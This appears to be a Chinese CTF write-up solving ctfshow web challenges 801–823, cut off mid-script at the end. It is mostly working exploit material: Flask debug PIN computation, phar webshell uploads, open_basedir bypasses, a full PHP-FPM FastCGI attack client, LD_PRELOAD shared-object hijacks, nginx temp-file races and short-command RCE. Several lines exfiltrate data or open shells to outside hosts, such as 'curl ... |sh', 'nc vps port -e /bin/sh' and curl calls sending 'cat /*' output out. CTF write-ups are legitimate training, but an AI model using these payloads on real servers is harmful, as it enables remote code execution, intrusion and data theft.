web 801 (flask算PIN)
条件
flask debug模式开启 存在任意文件读取
环境
python3.8
ctfshow web801
flask
知识基础
(machine_id是docker环境下读b,c;非docker环境全读,之后直接拼接,不加修饰符)
题解
非预期
/file?filename=/flag
预期解结算PIN值
先找到文件得到脚本所需信息
这里需要将16进制转换为十进制 地址
得到2485377601940
之后求machine-id
由于题目是docker环境,仅需要得到这两个信息即可
最后拼接得到
b0253079-fb4b-4235-ad30-f3d64b6c596701797e8e7f960d088139f8b839560871626857bfc73852e5f2b5e7f930459077
利用脚本得到PIN值
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377892354',# /sys/class/net/eth0/address
'b0253079-fb4b-4235-ad30-f3d64b6c596701797e8e7f960d088139f8b839560871626857bfc73852e5f2b5e7f930459077'# /proc/self/cgroup and /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
进入
进入之后利用os进行命令执行皆可
web802 (无字母数字构造)
利用yu师傅脚本即可
yu师傅脚本博客
web803 (zip上传phar包含)
本题题目
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
本题通过构建phar包进行文件上传
<?php
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php eval(\$_POST[a]);?>');
$phar -> stopBuffering();
?>
利用上述脚本构建phar文件
之后进行文件上传
这里有两种解法
一种是利用bp进行文件上传
(由于不知道什么原因,我利用bp一直无法上传成功,就利用python上传)
于是用第二种->脚本
import requests
url="http://04608b57-c254-475c-ae94-804018955038.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('a.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/test','content':'123','a':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
得到flag
web 804(phar反序列化)
phar反序列化
从中可以看出phar中包含metdata便可触发序列化
通过大佬的讲解 得到下面结论
可以利用使其反序列化的一些函数
于是解决本题可以利用
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
得到phar文件
之后上传phar文件并将其利用phar伪协议进行打开触发反序列化即可
import requests
url=""
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
也可利用bp 但是由于自身原因导致bp文件无法正常传输
web805(open_basedir绕过)
open_basedir 的作用就是指定目录位置了,意思是将PHP
所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响.
Bypass
方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件
<?php
$c = "glob:///*"
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>
只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
利用p神脚本
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
需要利用文件包含
也可以利用利用chdir()与ini_set()组合Bypass
?php
// 获取当前目录
echo getcwd() . "<br>";
// 改变目录
chdir("images");
// 获得当前目录
echo getcwd();
?>
结果:
/home/php
/home/php/images
payload
mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");
chdir()与ini_set()组合详解
open_basedir绕过
web806(无参rce)
利用session_id
php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ',所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去
<?php
echo bin2hex('phpinfo();'); //706870696e666f28293b
但是呢,session_id的使用需要开启session,所以需要session_start()函数
hex2bin(session_id(session_start()))
但是呢,仅仅一个eval执行上面代码只会把十六进制转换成字符串’phpinfo();’,所以我们还需要一个eval
最终
由于806的php版本为7 则无法利用这个姿势
getallheaders()
利用var_dump(getallheaders());获取位置信息
之后通过修改相应位置的信息进行命令执行
这两个命令执行效果相同
eval(current(getallheaders()));
eval(end(array_reverse(getallheaders())));
get_defined_vars()
get_defined_vars():返回由所有已定义变量所组成的数组
该命令 上面博客已写
也可利用群主师傅的命令随机碰撞
show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));
web807(shell反弹)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
$schema = substr($url,0,8);
if($schema==="https://"){
shell_exec("curl $url");
}
可以直接进行shell反弹也可以利用群主的网站进行反弹
curl https://your-shell.com/ip port |sh
web808(卡临时文件包含)
利用条件
php版本 7.0,有完整的包含点,并且参数可控,/tmp目录可写
还需要得到上传的文件名
原理
php在上传文件时候会先保存在临时目录,在php脚本运行完后自动删除
其实就是让程序崩溃的同时上传文件,那么文件就会留在/tmp目录下。但是这种方法要知道文件名,要不然爆破起来也是挺麻烦的。
如果过滤了filter伪协议也可以包含自身来崩溃。
解题过程
先创建一个上传表单
<html>
<body>
<form action="http://2af23aac-f3d7-45fa-a482-e46c74ea93ad.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
记得修改域名
之后对其抓包并发送payload
php://filter/string.strip_tags/resource=/etc/passwd
得到
之后返回原题刷新后会发现临时文件已经保存
之后访问并利用即可得到flag
web809(pear文件包含/RCE)
前提条件
解题过程
看大佬博客
从中可以得到paylaod
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
在这我们稍作修改
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/tmp/xin.php
或
?file=/usr/local/lib/php/pearcmd.php&aaa+install+-R+/var/www/html/+http://IP/shell.php
传入即可(利用bp进行传入)
第二个成功需要在自己的vps上写文件
之后访问
第三个姿势
web810
条件
Libcurl版本:高于7.45.0
PHP-FPM:监听端口,版本高于5.3.3
知道目标机器上任意一个php文件绝对路径
过程
php-fpm
工具下载地址https://github.com/tarunkant/Gopherus
打fastcgi用法:
python gopherus.py --exploit fastcgi
最后将生成的payload下划线后面的url编码,也即gopher://127.0.0.1:9000/_后面的全部url编码
SSRF漏洞之FastCGI利用篇
p神讲解
web811(FTP的被动模式打FPM漏洞代码)
本题考察FTP的被动模式打FPM漏洞代码
FTP的被动模式打FPM漏洞代码
上面文章是反弹shell了,但是我没有成功(泪奔)
于是我利用curl进行命令执行
首先利用vps搭建恶意的ftp服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',4566)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
之后利用gopherus生成payload
vps监听4438端口
payload
?file=ftp://x.x.x.x:4566&content=gopherus生成的payload(只取下划线后面的内容,且不需要再次编码)
得到flag
web812(PHP-FPM未授权)
利用p神的脚本,详解在810中p神博客中有介绍原理
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28163, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
命令为:
python2 fpm.py -c '<?php system("cat /f*");?>' -p 28046 pwn.challenge.ctf.show /usr/local/lib/php/System.php
运行得到flag
报500了,我没成功(泪目)
web813(劫持mysqli)
前提条件
大佬博客
yu师傅博客
恶意so文件弄出来了,但是却没有成功反弹shell
web814(劫持getuid)
条件
原理
过程
利用脚本
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("curl http://url:port?s=`cat /*`");
}
int getuid()
{
if(getenv("LD_PRELOAD")==NULL){ return 0;}
unsetenv("LD_PRELOAD");
payload();
}
之后进行编译成so文件
gcc -c -fPIC xin.c -o xin&&gcc --share xin -o xin.so
之后将文件上传到临时目录下,将LD_PRELOAD的路径通过putenv重定向为tmp目录下创建进程执行getuid函数即可
import requests
url=""
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
web815(劫持构造器)
本题由于存在mail函数因此可以利用第二种方法进行getshell
另一种方法:
如果利用第二种方法,则
下面的一个比较通用:
在GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor)) 修饰的函数。
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl http://xxx:4567?s=`cat /*`");
}
gcc -c -fPIC xin.c -o xin&&gcc --share xin -o xin.so
得到so文件上传拿到shell
web816(临时文件利用)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-26 14:19:44
# @Last Modified by: h1xa
# @Last Modified time: 2022-04-27 08:34:06
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
$env = $_GET['env'];
if(isset($env)){
putenv($env.scandir("/tmp")[2]);
system("echo ctfshow");
}else{
highlight_file(__FILE__);
}
拿到题目后知道应该上传恶意so文件来进行getshell,按时看到题目没有上传点一时无法下手
看大佬博客后发现
我们将恶意so文件上传上去,会作为临时文件保存到/tmp/目录下
然后有$env.scandir(“/tmp”)[2]得到临时文件路径,从而达到利用LD_PRELOAD的环境变量来RCE
注意:一般临时文件上传上去,不好拿到文件名于是利用scandir(“/tmp”)[2]得到文件名
上传815产生的so文件,利用脚本
import requests
url="url/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)
response=requests.post(url,files=files)
html = response.text
print(html)
web817(利用nginx的body/fastcgi缓存机制)
题目
$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
shell_exec(shell_exec("cat $file"));
}
考点:
让后端 php 请求一个过大的文件
当body过大时,导致 Nginx 需要产生临时文件进行缓存
虽然Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
包含/proc/pid/fd/条件
preg_match("/^\/(\w+\/?)+$/"
大概意思就是以/开头,并且后面只能有数字字母和/
大佬博客
利用师傅脚本
import threading, requests
import socket
import re
port= 28053
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1
'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
con="curl http://101.34.94.44:4567?`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close
{con}
'''.encode()
s.send(x)
s.close()
def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close
'''.encode())
print(s.recv(2048).decode())
s.close()
for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()
web818(利用nginx的body缓存机制)
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("echo ctfshow");
}else{
system("ps aux");
}
原理和817相似
利用nginx的body缓存机制
上传一个so文件(so文件可以看下815、814)
# coding: utf-8
import urllib.parse
import threading, requests
import socket
import re
port= 28133
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1
'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close
'''+open('hack.so','rb').read()+b'\n'*1024*200+b'''
'''
s.send(x)
s.close()
def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close
'''.encode())
print(s.recv(2048).decode())
s.close()
for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()
web819(利用bash的匿名函数环境变量)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-04-28 16:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2022-04-29 19:51:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("whoami");
}else{
highlight_file(__FILE__);
}
得到题目发现与818题目差不多,一个时pwn形式,一个http形式
当利用http形式时我们无法利用nginx的body缓存机制,原因时没办法让他听起来
于是这里就可以利用bash的匿名函数环境变量
为了修复破壳漏洞
官方规定
同时我们了解到
system()会调用fork()产生子进程,由子进程来调用/bin/sh-c string来执行参数string字符串所代表的命令
system()会继承环境变量,通过环境变量可能会造成系统安全的问题
于是我们可以构造环境变量构造whoami函数,利用system来进行移花接木
这样利用要有前提,即sh -c所代表的要为bash命令
于是构造命令
?env=BASH_FUNC_whoami%%=() { nl /flag;}
总结:
web820(base64图片码)
base64的小介绍
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-04-30 10:52:40
# @Last Modified by: h1xa
# @Last Modified time: 2022-04-30 16:59:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmpname = $_FILES['file']['tmp_name'];
$ef = getimagesize($tmpname);
if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
echo "file upload success!";
}
}else{
highlight_file(__FILE__);
}
根据源码我们发现他会获得一些图片信息并比对,之后对图片进行base64解码,并将解码后获得的内容放入shell.php中
利用百度师傅构造的图片成功getshell
web821(7字符RCE)
7字符rce
原理如博客一样
利用脚本
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
url = ""
payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)
def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")
def main():
run()
check()
if __name__ == '__main__':
main()
利用脚本可以插入木马文件
这里需要用get进行蚁剑连接
http://a5efc927-2331-4a26-9c31-248e9b58a782.challenge.ctf.show/1.php?1=eval($_POST[1]);
进行套娃连接蚁剑
之后利用蚁剑连接数据库
之后添加数据库mysqli,账号密码位root
之后得到flag
web822(7字符不可写)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
#flag in database;
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 7){
shell_exec($cmd);
}
本题目在web目录不可写
于是需要另一种方法
写到临时目录并执行它
(.表示执行一个sh脚本,使本身没有执行权限的脚本通过点可以执行,如果没要会报错)
payload
import requests
url = "http://9fabb83a-ac44-40d5-a91f-06d5f3339269.challenge.ctf.show/"
file={'file':b"nc vps port -e /bin/sh"}
data={'cmd':'. /t*/*'}
test = requests.post(url=url,data=data,files=file)
web823(5字符可写,有dir)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
#flag in database;
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 5){
shell_exec($cmd);
}
?>
*可以将文件名作为命令进行执行
最好将脚本中的5字符命令自己敲一下
如果压缩包里面有php命令可以直接php进行运行
利用脚本
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
url = "http://77e86d43-d65b-4635-8230-9214d4463ff2.challenge.ctf.show/"
url_2 = url+".php"
delay = 0.3
chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
